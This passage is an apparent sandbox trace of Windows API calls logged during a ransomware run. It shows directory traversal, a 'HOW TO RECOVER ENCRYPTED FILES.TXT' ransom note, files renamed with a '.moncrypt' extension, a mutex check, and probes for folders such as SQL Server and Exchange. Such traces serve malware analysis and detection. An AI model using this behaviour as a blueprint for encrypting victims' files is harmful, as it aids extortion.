ftLastAccessTime.dwLowDateTime=0x40b2ab00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40b50c60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.907] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.907] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.907] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.908] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.908] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.908] CloseHandle (hObject=0x18c) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.908] GetLastError () returned 0x12 [0052.908] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.908] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.908] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.908] GlobalUnlock (hMem=0x44000c) returned 0 [0052.908] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.909] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.909] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.909] GlobalUnlock (hMem=0x44000c) returned 0 [0052.909] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.909] GlobalUnlock (hMem=0x440004) returned 0 [0052.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40b50c60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40b50c60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.909] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.909] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.909] GlobalLock (hMem=0x440004) returned 0x550170 [0052.909] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.909] GlobalUnlock (hMem=0x440004) returned 0 [0052.909] GlobalLock (hMem=0x440004) returned 0x550170 [0052.909] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.909] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.909] GlobalUnlock (hMem=0x440004) returned 0 [0052.909] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.909] GlobalUnlock (hMem=0x44000c) returned 0 [0052.909] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.909] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40b50c60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40b50c60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.909] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.909] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.909] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.909] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.909] GlobalUnlock (hMem=0x44000c) returned 0 [0052.910] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.910] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.910] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.910] GlobalUnlock (hMem=0x44000c) returned 0 [0052.910] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.910] GlobalUnlock (hMem=0x440004) returned 0 [0052.910] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.910] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b2ab00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40b2ab00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40b50c60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.910] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.910] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.910] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.910] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.910] GlobalUnlock (hMem=0x440004) returned 0 [0052.910] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.910] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.910] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.910] GlobalUnlock (hMem=0x440004) returned 0 [0052.910] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.910] GlobalUnlock (hMem=0x44000c) returned 0 [0052.910] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.910] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.910] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.910] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.910] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.910] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.910] GlobalUnlock (hMem=0x44000c) returned 0 [0052.910] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.910] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.911] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.911] GlobalUnlock (hMem=0x44000c) returned 0 [0052.911] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.911] GlobalUnlock (hMem=0x440004) returned 0 [0052.911] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.911] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb3d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM.moncrypt", cAlternateFileName="REFINE~1.MON")) returned 1 [0052.911] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.911] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.911] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.911] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.911] GlobalUnlock (hMem=0x440004) returned 0 [0052.911] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.911] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.911] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.911] GlobalUnlock (hMem=0x440004) returned 0 [0052.911] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.911] GlobalUnlock (hMem=0x44000c) returned 0 [0052.911] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.911] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0052.911] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.911] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.911] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.911] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.911] GlobalUnlock (hMem=0x44000c) returned 0 [0052.911] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.911] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.911] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.911] GlobalUnlock (hMem=0x44000c) returned 0 [0052.911] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.911] GlobalUnlock (hMem=0x440004) returned 0 [0052.912] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.912] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.912] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.912] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.912] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.912] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.912] GlobalUnlock (hMem=0x440004) returned 0 [0052.912] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.912] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.912] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.912] GlobalUnlock (hMem=0x440004) returned 0 [0052.912] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.912] GlobalUnlock (hMem=0x44000c) returned 0 [0052.912] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.912] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.912] GetLastError () returned 0x12 [0052.912] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0052.913] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.913] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.913] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.913] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.913] GlobalUnlock (hMem=0x44000c) returned 0 [0052.913] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.913] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.913] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.913] GlobalUnlock (hMem=0x44000c) returned 0 [0052.913] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.913] GlobalUnlock (hMem=0x440004) returned 0 [0052.913] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.913] GlobalLock (hMem=0x440004) returned 0x550170 [0052.913] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.913] GlobalUnlock (hMem=0x440004) returned 0 [0052.913] GlobalLock (hMem=0x440004) returned 0x550170 [0052.913] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.913] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.913] GlobalUnlock (hMem=0x440004) returned 0 [0052.913] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.913] GlobalUnlock (hMem=0x44000c) returned 0 [0052.913] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.913] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned 1 [0052.914] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.914] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.914] GlobalUnlock (hMem=0x44000c) returned 0 [0052.914] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.914] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.914] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.914] GlobalUnlock (hMem=0x44000c) returned 0 [0052.914] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.914] GlobalUnlock (hMem=0x440004) returned 0 [0052.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.915] GetLastError () returned 0x3 [0052.915] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18㿬Q\x181")) returned 0xffffffff [0052.916] GetLastError () returned 0x2 [0052.916] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0052.916] GetLastError () returned 0x2 [0052.916] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0052.917] GetLastError () returned 0x2 [0052.917] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18뭼R\x18j")) returned 0xffffffff [0052.918] GetLastError () returned 0x2 [0052.918] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0052.918] GetLastError () returned 0x2 [0052.918] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\") returned 0x41 [0052.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a410, cbMultiByte=6, lpWideCharStr=0x18da44, 